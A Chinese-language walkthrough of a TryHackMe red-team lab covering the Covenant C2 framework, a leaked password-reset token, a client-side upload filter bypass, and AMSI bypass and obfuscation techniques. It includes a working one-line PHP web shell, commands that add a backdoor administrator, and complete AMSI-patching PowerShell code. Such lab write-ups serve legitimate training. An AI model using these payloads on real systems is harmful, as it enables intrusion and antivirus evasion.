来自 Covenant GitHub,“启动器用于生成、托管和下载二进制文件、脚本和单行代码以启动新的 Grunt。”

Covenant 中有十种不同的启动器可供选择,每个启动器都有其要求,有些可能不受现代操作系统支持。启动器类型概述如下。

每个启动器都有几个选项,有些启动器有特定的选项。对于此任务,我们将重点介绍二进制启动器及其选项。配置选项概述如下。

  • Listener grunt 将与之通信的监听器。
  • ImplantTemplate 植入启动器将使用的类型。
  • DotNetVersion 启动器将使用的 .NET 版本,取决于 ImplantTemplate
  • Delay grunt 在回调之间休眠的时间。较大的延迟有助于隐秘通信。
  • JitterPercent Delay 中变化的百分比。
  • ConnectAttempts grunt 在退出前尝试重新连接服务器的次数。
  • KillDate 指定 grunt 退出并停止回调的日期。

要为该网络创建基本启动器,我们仅建议编辑 ListenerImplantTemplate

创建后,将下载启动器或输出可复制的一行代码。然后,您可以根据需要使用启动器来部署 grunt。

img

要部署 grunt,您只需将启动器传输到目标机器并使用您喜欢的方法执行有效负载;这将根据您决定使用的启动器而改变。

执行后,grunt 应重新检查服务器并出现在 Grunt 选项卡中。

注意:这只是执行 grunt 的一个示例;在执行后续任务之前,您不需要执行 grunt。

img

如果您导航到 grunt 并与其交互,您将获得一个交互菜单。从这里,您可以远程控制 grunt 并执行 shell 命令和模块。这将在任务 29 中进一步深入介绍。

img

We ran out of Halo and YAML references…

使用 Covenant 的很大一部分是任务的使用。默认情况下,Covenant 不提供大量任务/模块可供选择,就像 Empire 和 PoshC2 等其他 C2 框架一样。这意味着我们需要创建我们想要在 Covenant 中使用的工具任务。幸运的是,Covenant 是基于 .NET 和 C# 构建的,因此可以轻松地将任何 C# 代码转换为任务。

对于此任务,我们将把 SharpEDRChecker 转换为 Covenant 任务;稍后将在任务 36 中使用。

自 Covenant v0.5 以来,Covenant 后端接收和解析任务的方式发生了变化。Covenant 现在使用 YAML 文件来定义任务和任务数据。从 YAML 网站来看,“YAML 是所有编程语言的人性化数据序列化标准。”这使得开发人员和操作员可以轻松地将工具武器化并集成到 Covenant 中。

在下面列出构建任务时需要牢记的规则,以确保任务与 grunt 集成。

  • 定义一个名为“Task”的类
  • 定义一个名为“Execute”的方法
  • 返回一个字符串

我们将首先使用一个示例模板,稍后可以对其进行修改并添加引用。在下面找到 Covenant 的示例 YAML 模板。

- Name: Example
Aliases: []
Description: Example task for Covenant
Name: Tryhackme
Handle: THM_User
Link: <https://twitter.com/RealTryHackMe>
Help:
Language: CSharp
CompatibleDotNetVersions:
- Net35
- Net40
Code: |
public static class Task {
public static string Execute() {
return "Hello Covenant!";
}
}

以上是一个基本模板,我们可以使用它来了解任务的基本结构。下面是每个 YAML 标签的解释。

  • Name Covenant UI 中的任务名称。
  • Aliases 任务的别名或快捷方式。
  • Description Covenant UI 中的任务描述。
  • Language 编写任务源代码的语言。
  • CompatibleDotNetVersions 源代码将在其上运行的 .NET 版本。
  • Code 任务的源代码。

我们有一个任务数据的基本结构,但我们的任务仍然无法工作。Covenant 使用 .NET;我们需要定义我们的参考程序集,.NET 将使用它来解释我们的代码并提供基本功能。下面是参考程序集的示例 YAML 模板。

ReferenceAssemblies:
- Name: mscorlib.dll
Location: net35\\mscorlib.dll
DotNetVersion: Net35
- Name: System.dll
Location: net35\\System.dll
DotNetVersion: Net35
- Name: System.Core.dll
Location: net35\\System.Core.dll
DotNetVersion: Net35
- Name: mscorlib.dll
Location: net40/mscorlib.dll
DotNetVersion: Net40
- Name: System.dll
Location: net40/System.dll
DotNetVersion: Net40
- Name: System.Core.dll
Location: net40/System.Core.dll
DotNetVersion: Net40

我们向此模板添加的参考程序集数量和内容取决于我们正在进行的项目及其所使用的程序集。对于我们的示例任务,我们只需要添加上述模板中的基本程序集。

这种添加参考程序集的方法也可用于添加参考源;这就是我们添加外部 C# 代码的方法。我们将在本任务的后面部分更深入地介绍这一点。

我们可以将上述 YAML 加在一起以创建最终的示例模板,我们可以使用它来测试我们的任务源代码。在下面找到 YAML 模板。

- Name: Example
Aliases: []
Description: Example task for Covenant
Name: Tryhackme
Handle: THM_User
Link: <https://twitter.com/RealTryHackMe>
Help:
Language: CSharp
CompatibleDotNetVersions:
- Net35
- Net40
Code: |
public static class Task {
public static string Execute() {
return "Hello Covenant!";
}
}
TaskingType: Assembly
UnsafeCompile: false
TokenTask: false
Options: []
ReferenceAssemblies:
- Name: mscorlib.dll
Location: net35\\mscorlib.dll
DotNetVersion: Net35
- Name: System.dll
Location: net35\\System.dll
DotNetVersion: Net35
- Name: System.Core.dll
Location: net35\\System.Core.dll
DotNetVersion: Net35
- Name: mscorlib.dll
Location: net40/mscorlib.dll
DotNetVersion: Net40
- Name: System.dll
Location: net40/System.dll
DotNetVersion: Net40
- Name: System.Core.dll
Location: net40/System.Core.dll
DotNetVersion: Net40
EmbeddedResources: []
ReferenceAssemblies: []
EmbeddedResources: []

您可以在“Covenant/Covenant/Data/Tasks/”下添加此 YAML 文件。如果我们重建并运行 Covenant,我们新创建的任务应该会出现在 UI 中,现在可以与任何 grunt 一起使用。

现在我们有一个基本任务在运行,我们可以尝试将 SharpEDRChecker 转换为 Covenant。这个过程并不像看起来那么难,下面有完整的概述。

首先,我们要将整个 SharpEDRChecker 源代码存储库放在“Covenant/Covenant/Data/ReferenceSourceLibraries/”中。这将允许 Covenants 后端集成和解析该工具的源代码和引用。

您还可以使用 PowerShell 和 PowerShellImport 任务导入 PowerShell 脚本或命令以及创建自己的任务。

Hide yo’ Kids, Hide yo’ Wives, Hide yo’ Tokens

现在,我们可以访问内部网络,并确定了新目标 S-SRV01。我们知道 S-SRV01 有一个开放的 Web 服务器,我们可以查看它来开始攻击。

我们有几个可以尝试的凭据,以及可以用来尝试访问网站的用户名和用户名方案。

查看 Web 应用程序,我们可以看到密码重置和有效的用户名。我们可以查看 Web 应用程序以识别可以利用的漏洞,从而访问 Web 服务器。

密码重置通常会使用令牌来跟踪用户。它们将在发送重置请求时对其进行身份验证。当请求重置时,Web 应用程序将私下发送令牌。有时重置可能配置错误,并泄露用于欺骗用户和重置受控用户密码的令牌。我们将在下面介绍此漏洞的示例以及易受攻击的源代码。

要了解此漏洞,我们可以从查看漏洞背后的源代码开始。以下所有代码均在服务器端执行;但是,测试人员可以通过查看客户端存储找到令牌。

db.findOne({ email: emailAddress }, function(err, doc) {
if (!doc) {
return res.send('Email address not in our system');
} else {
var secret = doc.password + '-' + doc.createdTime;
var payload = {
id: doc._id,
email: doc.email
};
var token = jwt.encode(payload, secret);
res.json({
resettoken: token,
status: 'Success'
});
res.end();
}
});

代码中存在漏洞的具体部分是通过 JSON 发送“resettoken”时。这会将令牌泄露到客户端存储。具体代码块如下。

res.json({ resettoken: token, status: 'Success'});

为了利用这一点,我们可以使用 Chrome 和/或 Firefox 开发人员工具。来自 Web 服务器的响应可以采用存储在客户端存储中的 Cookie 或 JSON 令牌的形式。

您可以在 应用程序 下找到 Cookie 的令牌,或在 网络 下找到 JSON 令牌。

img

从 JSON 响应或 cookie 中检索到令牌后,您可以在 ?token 下的 URL 查询中提交它。

需要注意的是,每个公司或网络服务器对重置和令牌的处理方式不同。有些人可能选择 JWT 解决方案;其他人可能更喜欢本地数据库解决方案;这完全取决于开发人员自己,漏洞可能会根据服务器端代码的编写方式而改变。

在对S-SRV01进行攻击之前,我想先做一个主机的存活探测

root@ip-10-200-107-33:~# nmap -sn 10.200.107.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-04 05:47 UTC
Nmap scan report for ip-10-200-107-1.eu-west-1.compute.internal (10.200.107.1)
Host is up (0.00016s latency).
MAC Address: 02:7C:71:92:46:19 (Unknown)
Nmap scan report for ip-10-200-107-30.eu-west-1.compute.internal (10.200.107.30)
Host is up (0.00082s latency).
MAC Address: 02:22:62:33:07:F3 (Unknown)
Nmap scan report for ip-10-200-107-31.eu-west-1.compute.internal (10.200.107.31)
Host is up (0.00030s latency).
MAC Address: 02:94:D2:91:99:59 (Unknown)
Nmap scan report for ip-10-200-107-32.eu-west-1.compute.internal (10.200.107.32)
Host is up (0.00037s latency).
MAC Address: 02:92:DB:37:70:9D (Unknown)
Nmap scan report for ip-10-200-107-35.eu-west-1.compute.internal (10.200.107.35)
Host is up (0.00081s latency).
MAC Address: 02:B3:E6:77:74:E7 (Unknown)
Nmap scan report for ip-10-200-107-250.eu-west-1.compute.internal (10.200.107.250)
Host is up (0.00017s latency).
MAC Address: 02:71:FB:18:2B:5D (Unknown)
Nmap scan report for ip-10-200-107-33.eu-west-1.compute.internal (10.200.107.33)
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 1.71 seconds

以及.31主机的端口探测,发现是一台windows主机

root@ip-10-200-107-33:~# nmap --min-rate=10000 -p- 10.200.107.31
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-04 05:49 UTC
Warning: 10.200.107.31 giving up on port because retransmission cap hit (10).
Nmap scan report for ip-10-200-107-31.eu-west-1.compute.internal (10.200.107.31)
Host is up (0.00053s latency).
Not shown: 64527 closed ports, 990 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49672/tcp open unknown
MAC Address: 02:94:D2:91:99:59 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 16.80 seconds

接下来使用.33作为跳板机,正好已经做了ssh持续性,使用sshuttle这个强大的工具进行端口转发,并且不需要使用proxychains,十分强大

┌──(mikannse㉿kali)-[~/桌面]
└─$ sshuttle -r root@10.200.107.33 10.200.107.0/24 -x 10.200.107.33
c : Connected to server.

使用admin:DBManagerLogin!登录,但是登录之后没有任何内容,通过右键查看源码,发现还有一个/reset_form.php,但是不能重置admin

但是可以是gurag,重置之后可以在cookies中找到用户令牌

816d574721357aec9ce7adaff5f9d93d0285a5cd757483a02c9f03b40199a1937cea5b40021f0dcfec0eb14f002736af2ed5

在url中添加之后,我们来到了reset.php,改成gurag:gurag

┌──(mikannse㉿kali)-[~/桌面]
└─$ cat test.js
const str = 'user_token=816d574721357aec9ce7adaff5f9d93d0285a5cd757483a02c9f03b40199a1937cea5b40021f0dcfec0eb14f002736af2ed5';
const size = str.length;
console.log(size); // Outputs the length of the string
┌──(mikannse㉿kali)-[~/桌面]
└─$ nodejs test.js
111

虽然答案是110

Thanks, I’ll let myself in.

现在我们已经成功验证了 Web 应用的身份,我们知道我们有一个上传页面,但是,从代码分析来看,该页面使用客户端过滤,这意味着我们只能上传图像。我们可以使用 BurpSuite 绕过这些过滤器。

根据 GeekforGeeks 的说法,客户端过滤是“这些是浏览器本身中存在的过滤器检查类型。当用户输入时,客户端过滤器会验证输入。如果用户输入的数据有效,则接受输入,否则将根据用户输入的错误输入抛出错误。”

有四种简单的方法可以绕过客户端上传过滤器:

  1. 关闭浏览器中的 JavaScript - 只要网站不需要 JavaScript 来提供基本功能,这种方法就可以奏效。如果完全关闭 JavaScript 会阻止网站运行,那么其他方法之一会更可取;否则,这可能是完全绕过客户端过滤器的有效方法。

  2. 拦截并修改传入页面。使用 Burpsuite,我们可以拦截传入的网页并在 JavaScript 过滤器运行之前将其删除。此过程将在下面介绍。

  3. 拦截和修改文件上传。前一种方法在网页加载时有效,而此方法允许网页正常加载,但在文件上传通过(并被过滤器接受)后拦截文件上传。同样,我们将在任务过程中介绍使用此方法的过程。

之前

  1. 将文件直接发送到上传点。为什么要使用带有过滤器的网页,而您可以使用“curl”之类的工具直接发送文件?将数据直接发布到包含处理文件上传代码的页面是完全绕过客户端过滤器的另一种有效方法。在本教程中,我们不会深入介绍此方法,但是,此类命令的语法如下所示:curl -X POST -F "submit=<value>" -F "<file-parameter>=@<path-to-file>" <site>。要使用此方法,您.首先要拦截成功的上传(使用 Burpsuite 或浏览器控制台)以查看上传中使用的参数,然后可以将其插入上述命令中。

为了帮助我们识别客户端过滤以及绕过它的方法,我们可以执行代码分析。查看下面的源代码,我们发现它使用基本的 JavaScript 函数来检查文件的 MIME 类型。

<script>
window.onload = function() {
var upload = document.getElementById("fileToUpload");
upload.value = "";
upload.addEventListener("change", function(event) {
var file = this.files[0];
if (file.type !== "image/jpeg") {
upload.value = "";
alert("dorkus storkus server bork");
}
});
};
</script>

在此代码中,我们可以看到过滤器使用白名单来排除任何非“image/jpeg”的 MIME 类型。

我们的下一步是尝试上传文件 - 正如预期的那样,如果我们选择 JPEG,该函数将接受它。其他任何类型都会拒绝上传。

建立此设置后,让我们启动 Burpsuite 并重新加载页面。我们将看到我们自己对网站的请求,但我们真正想看到的是服务器的响应,因此右键单击拦截的数据,向下滚动到“执行拦截”,然后选择“对此请求的响应”:

img

当我们点击窗口顶部的“转发”按钮时,我们将看到服务器对我们请求的响应。在这里,我们可以删除、注释掉或以其他方式破坏 JavaScript 函数,使其无法加载。

img

删除该功能后,我们再次单击“前进”,直到网站加载完毕,现在可以自由地将任何类型的文件上传到网站。

值得注意的是,Burpsuite 默认不会拦截网页正在加载的任何外部 Javascript 文件。如果您需要编辑不在主页面加载内的脚本,则需要转到 Burpsuite 窗口顶部的“选项”选项卡,然后在“拦截客户端请求”部分下,编辑第一行的条件以删除 ^js$|

img

有关文件上传漏洞的更多信息,请查看 MuirlandOracle 的“上传漏洞”。

您现在可以尝试将启动器或其他有效负载上传到服务器,但您可能会注意到,即使正确上传,尝试执行它们也会失败。这是因为机器上可能有某种 AV 或 EDR 解决方案处于活动状态。继续执行下一个任务,了解 AV 规避以及如何成功弹出服务器上的 shell。

通过删除前端的文件上传js代码,以及扫描目录发现一个images目录,上传一个普通的php马后发现会被杀死。于是改用简介的一句话

<?=`$_GET[1]`?>
http://10.200.107.31/images/s.php?1=whoami

返回权限是system,也就是管理员,我们能够添加一个后门用户

http://10.200.107.31/images/s.php?1=net%20user%20admim%20admim123!%20/add
http://10.200.107.31/images/s.php?1=net%20localgroup%20administrators%20admim%20/add

然后通过3389端口进行远程桌面

┌──(mikannse㉿kali)-[~/桌面]
└─$ xfreerdp /u:admim /p:admim123! /v:10.200.107.31 /dynamic-resolution +clipboard

Basically a joke itself….

注意:在继续进行 AV 规避之前,请阅读整个部分的说明和任务。本节包含多种方法和技术,您可以混合搭配以达到规避反病毒的最终目标。

现在我们可以上传文件了,我们注意到我们的 shell 被杀死或上传失败,因为 AV 会捕获它们。在接下来的六个任务中,我们将介绍 AV 规避的广泛主题以及如何将其与 Covenant 等 C2 框架和攻击性工具结合使用。以下任务相互结合;单靠一个任务本身不足以逃避检测。您需要结合所示的许多技术,直到您成功编写或创建干净的有效载荷/工具。要开始绕过 EDR 解决方案,我们需要了解我们的第一个敌人 AMSI。

反恶意软件扫描接口 (AMSI) 是一种 PowerShell 安全功能,允许任何应用程序或服务集成到反恶意软件产品中。AMSI 将在运行时执行之前扫描有效载荷和脚本。来自 Microsoft 的“Windows 反恶意软件扫描接口 (AMSI) 是一种多功能接口标准,允许您的应用程序和服务与计算机上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。”

有关 AMSI 的更多信息,请查看 Windows 文档,https://docs.microsoft.com/en-us/windows/win32/amsi/

在下面找到数据如何在 Windows 安全功能中流动的示例。

img

AMSI 将根据扫描结果发送不同的响应代码。下面是 AMSI 的响应代码列表。

  • AMSI_RESULT_CLEAN = 0
  • AMSI_RESULT_NOT_DETECTED = 1
  • AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
  • AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
  • AMSI_RESULT_DETECTED = 32768

AMSI 完全集成到以下 Windows 组件中。

  • 用户帐户控制或 UAC
  • PowerShell
  • Windows 脚本宿主 (wscript 和 cscript)
  • JavaScript 和 VBScript
  • Office VBA 宏

AMSI 在 System.Management.Automation.dll 和 CLR 本身中均已安装。在 CLR 内部,假定 Defender 已安装;这意味着只有在从内存加载时才会调用 AMSI。

我们可以看看 PowerShell 安全功能的物理外观,以及它们使用 InsecurePowerShell 编写的内容,https://github.com/PowerShell/PowerShell/compare/master...cobbr:master 由 Cobbr 维护。InsecurePowerShell 是 PowerShell 的 GitHub 存储库,其中删除了安全功能;这意味着我们可以查看比较的提交并识别任何安全功能。AMSI 仅在“src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs”下的十二行代码中进行检测。下面找到用于检测 AMSI 的 C# 代码。

var scriptExtent = scriptBlockAst.Extent;
if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED) {
var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
throw new ParseException(new[] { parseError });
}
if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null) {
HasSuspiciousContent = true;
}

第三方也可以使用下面概述的方法在其产品中安装 AMSI。

有关第三方产品中 AMSI 集成的更多信息,请查看此 Microsoft 文章,https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience

在下一个任务中,我们将研究如何利用 PowerShell 和 C# 绕过 AMSI。

THEY WONT SEE ME IF I YELL!

现在我们了解了 AMSI 的基础知识及其检测方法,我们可以开始使用 PowerShell 和 C# 绕过 AMSI。

有大量的 AMSI 绕过方法可用,大多数都是用 PowerShell 和 C# 编写的。下面列出了常见的绕过方法。

有关各种可用绕过方法的更多信息,请查看此 GitHub 存储库,https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

我们将研究 Matt Graeber 反射方法以及修补 amsi.dll。

我们将研究的第一个绕过方法利用本机 PowerShell 反射将 AMSI 的响应值设置为“$null”。在下面找到由 Matt Graeber 编写的 PowerShell 代码。

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

我们将研究的第二种方法是修补用 PowerShell 编写的 amsi.dll。此绕过方法由 BC-Security 修改,灵感来自 Tal Liberman,https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py。RastaMouse 也有一个用 C# 编写的类似绕过方法,使用相同的技术,https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs。此绕过方法将识别 DLL 位置并修改内存权限以返回未检测到的 AMSI 响应值。

$MethodDefinition = @"
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru

$ABSD = 'AmsiS' + 'canBuffer'
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll')
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD)
[UInt32]$Size = 0x5
[UInt32]$ProtectFlag = 0x40
[UInt32]$OldProtectFlag = 0
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag)

$buf = [Byte[]]([UInt32]0xB8, [UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $BufferAddress, 6)

如果您不熟悉 Windows 架构和 PowerShell,这可能看起来像是很多花哨且被切碎的代码,但我们可以将其分解并确定每个代码部分的作用。

第一部分代码行 3 - 10 将使用 C# 调用 Kernel32 中的函数来识别 amsi.dll 的加载位置。

[DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName);[DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

一旦调用 C# 函数,代码将使用 Add-type 加载 C# 并识别第 13 至 16 行中的 AmsiScanBuffer 字符串。此字符串可用于确定 amsi.dll 的加载位置以及使用 GetProcAddress 的地址位置。

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS' + 'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);

下一段代码行17-23将修改内存权限并修补“amsi.dll”以返回指定的值。

[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40; # This line was missing in your original code
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);

$buf = [Byte[]]([UInt32]0xB8, [UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $BufferAddress, 6);

在此阶段,我们应该有一个部分有效的 AMSI 绕过方法。大多数 AMSI 绕过方法的签名都是经过精心设计的,因此这意味着 AMSI 和 Defender 本身将捕获这些绕过方法。这意味着我们需要对我们的代码进行一些混淆以避开签名。AMSI 混淆将在下一个任务中介绍。

有关 AMSI 绕过方法的更多信息,请查看以下资源。

AMSIception

现在我们有了部分有效的绕过方法,我们需要对代码进行混淆以绕过检测。我知道,AMSIception… 有几种工具和文章可以帮助我们更好地理解这个过程和要求。将混淆视为一门艺术而不是一种技术是有帮助的。当您修改和篡改源代码和签名时,它可以是实验性的和重复性的。

为了开始我们的混淆之旅,我们将从手动混淆以及签名检查脚本开始。在下一个任务中,我们将介绍自动混淆器,如 Invoke-Obfuscation 和 ISE-Steroids。与自动混淆器相比,手动路线更可靠,因为您正在检查和篡改样本中的每个签名,在本例中是 AMSI 绕过。

一般来说,AMSI 只会寻找用于 AMSI 绕过的弱字符串,例如 AmsiScanBufferamsiInitFailedAmsiUtils 等。这时字符串连接就可以发挥作用,并有助于破解这些字符串签名。随着 EDR 解决方案和产品的进步,这些签名和方法可能会变得更加强大。尽管如此,这些相同的签名已经流行了相当长一段时间,预计在非商业产品中不会很快发生变化。

为了帮助我们进行混淆工作,我们将使用由 RythmStick 编写的 AMSITrigger 脚本 https://github.com/RythmStick/AMSITrigger。此脚本将针对 AMSI 获取给定的 PowerShell 脚本及其中的每个唯一字符串,以识别哪些字符串被用于将脚本标记为恶意。这只会针对 AMSI 进行测试,而不是 Defender;我们将在后面的任务中讨论如何对 Defender 进行混淆;但是,对于这项任务,我们只需要担心 AMSI,因为一切都是无文件的(大多数情况下)。

AMSI 还将利用正则表达式来汇总风险评估;这意味着不会标记单个字符串,而是标记整个代码块。这对我们来说可能很麻烦,需要其他技术,如编码、类型加速和运行时解码。

要使用 AMSITrigger,我们只需要指定两个参数,-u—url-i—inputfile-f—format。请参阅下面的示例语法。

Syntax: .\\AMSITrigger.exe -u <URL> -f 1 or .\\AMSITrigger.exe -i <file> -f 1

img

针对上一个任务中显示的 BC-Security 的 AMSI 绕过运行脚本,我们看到“VirtualProtect”代码块与运行时缓冲区一起被标记。

我们还可以使用格式 3 来内联代码,精确查看被标记的内容。

img

我们将要研究的第一种手动混淆方法是字符串连接。根据 Microsoft 文档,“连接是将一个字符串附加到另一个字符串末尾的过程。使用 + 运算符连接字符串。对于字符串文字和字符串常量,连接发生在编译时;运行时不会发生连接。对于字符串变量,连接仅在运行时发生。”连接是大多数编程语言中使用的一种相当常见的技术;但是,我们可以滥用它来帮助我们进行混淆。下面是字符串连接的示例。

$OBF = 'Ob' + 'fu' + 's' +'cation'

我们可以使用多种不同的字符串连接方法和其他技术来破解签名。下面列出了不同方法的概述。

  • Concatenate - ('co'+'ffe'+'e')
  • Reorder - ('{1}{0}'-f'ffee','co')
  • Whitespace - ( 'co' +'fee' + 'e')

字符串操作通常有助于破解单字符串弱签名;如前所述,AMSI 还可以使用正则表达式来汇总风险评估。我们需要使用更高级的技术,例如下面在正则表达式签名中使用编码和类型加速。

我们将研究的第二种手动混淆方法是类型加速。根据 Microsoft 文档,“类型加速器是 .NET 框架类的别名。它们允许您访问特定的 .NET 框架类,而无需明确输入完整的类名。例如,您可以将 AliasAttribute 类从 [System.Management.Automation.AliasAttribute] 缩短为 [Alias]。” https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_type_accelerators?view=powershell-7.1

我们可以滥用类型加速器来修改恶意类型并破坏类型的签名。例如,您可以使用 PowerShell 创建自己的“PSObject”和类型加速器来代替恶意类型,进而破坏 AMSI 签名。

乍一看,这似乎是一个令人生畏的话题,但我们可以将其分解为两行代码,以便于理解。

要创建类型加速器,我们首先需要在 Assembly 中声明一个“PSObject”来检索类型。

[PSObject].Assembly.GetType

然后,我们需要将我们的恶意类型添加到“System.Management.Automation.TypeAccelerators”中。这将使我们能够将类型加速器用作与恶意类型不同的类型。请参阅下面的示例代码。

("System.Management.Automation.TypeAccelerators")::Add('dorkstork', [system.runtime.interopservices.marshal])

我们可以结合这两个代码片段来创建一个包含新创建类型的最终“PSObject”。

[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('dorsktork', [system.runtime.interopservices.marshal])

然后,我们可以在恶意类型的位置替换“PSObject”。下面是新旧代码的比较。

旧代码:[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

新代码:[dorkstork]::copy($buf, 0, $BufferAddress, 6);

现在我们有一个新创建的类型加速器,它将破坏附加到它上面的签名。

有关在 PowerShell 中创建类型加速器的更多信息,请查看此博客,https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/adding-new-type-accelerators-in-powershell

为了完全混淆我们的代码并确保我们的绕过有效,我们可以结合所示的两种技术。此外,您可以根据需要重新运行 AMSITrigger,以帮助识别损坏的签名和其他尚未损坏的签名。

此时,您应该已经有一个可以正常工作的 AMSI 绕过方法。现在您可以继续混淆和修改我们的 grunt 和启动器本身以避开 AV。

有关手动混淆和 AMSI 混淆的更多信息,请查看以下资源。

JU57 0BFU$C47E 1T

现在我们已经绕过了 AMSI,我们需要混淆和修改我们的启动器和 grunt 代码以逃避反病毒。我们将首先了解使用自动混淆器(如 Invoke-Obfuscation 和 ISE-Steroids)执行高级字符串和签名操作的基础知识。

我们再次建议使用开发虚拟机来测试和编辑代码。

Invoke-Obfuscation,https://github.com/danielbohannon/Invoke-Obfuscation,是由 Daniel Bohannon 和 Cobbr 构建的实用程序。它用于获取一系列参数/混淆令牌并自动混淆提供的代码。从他们的 GitHub 上看,“Invoke-Obfuscation 是一个兼容 PowerShell v2.0+ 的 PowerShell 命令和脚本混淆器。”。红队成员可以使用混淆来使逆向工程/分析变得更加困难,并且在某些情况下可以绕过反病毒和其他检测。

如果您不了解 Invoke-Obfuscation 语法如何分解混淆令牌,那么它一开始可能看起来非常庞大和可怕。我们可以按照 Invoke-Obfuscation 作者创建的指南来熟悉语法 https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide。

要开始混淆尝试,我们需要设置要混淆的脚本块或有效负载,然后指定要使用的令牌。Invoke-Obfuscation 提供了参数解析命令行工具以及友好的 CLI。出于我们的目的,我们将使用命令行。我们将仅介绍使用令牌绕过防病毒软件的示例,创建令牌命令,各种用例超出了此任务的范围。

以下是我们将用来混淆有效负载的命令。撰写本文时使用的 token 命令将绕过某些有效载荷或工具的防病毒软件。我们将在本任务的后面部分分解此命令。

Invoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit

要开始分解命令,我们首先要查看传递给该工具的参数。ScriptBlock 参数将解析您的有效负载或用于混淆的代码。命令末尾的两个参数 -Quiet-NoExit 将产生最少的冗长内容,并防止在运行命令时退出 CLI。

使用的令牌可以在下面单独找到,以及令牌正在做什么的说明。

Token\\String\\1,2,\\Whitespace\\1

要开始理解语法,我们需要了解 Invoke-Obfuscation 本身的树结构。CLI 可帮助完成此操作,并可分解整体语法中的每个语法树。

此语法中的第一个初始树是 Token\\String\\1,2,\\,这意味着它将连接和重新排序字符串中的字符。我们可以从下面的 CLI 语法树中获取此信息。

img

我们可以看到两种类型的字符串混淆被分解,并给出了示例。

  1. TOKEN\\STRING\\1 - (‘co’+’ffe’+’e’)
  2. TOKEN\\STRING\\2 - (‘{1}{0}’-f’ffee’,’co’)

token 命令还将使用第二个语法树,这次使用 Token\\Whitespace\\1 中的空格进行混淆。我们可以再次从下面的 CLI 语法树中获取此信息。

img

我们可以看到,混淆技术会随机在提供的字符串和有效负载中添加空格,并给出其使用示例。

  1. TOKEN\\WHITESPACE\\1 - ( ‘co’ +’fee’ + ‘e’)

创建令牌命令时,您需要注意不要过度混淆有效负载并超过 Windows 命令提示符中的 8191 个字符限制。有关字符限制的更多信息,请参阅 Microsoft 文档,https://docs.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation

如果有效地进行了混淆,您现在应该有一个成功的 PowerShell 有效负载,它将绕过防病毒软件并使逆向工程变得更加困难。在生产环境中执行之前,您应该始终在开发服务器上进行实验和测试,以确保在实际生产过程中一切顺利。

在下一个任务中,我们将介绍当混淆失败时您可以做什么,或者您需要使用一些不是纯粹用 PowerShell 编写的东西,方法是利用代码审查和 ThreatCheck/DefenderCheck。

‘Ca’ + ‘n’ + ‘you’ + ‘ ‘ + ‘see’ + ‘me now’ + ‘?’

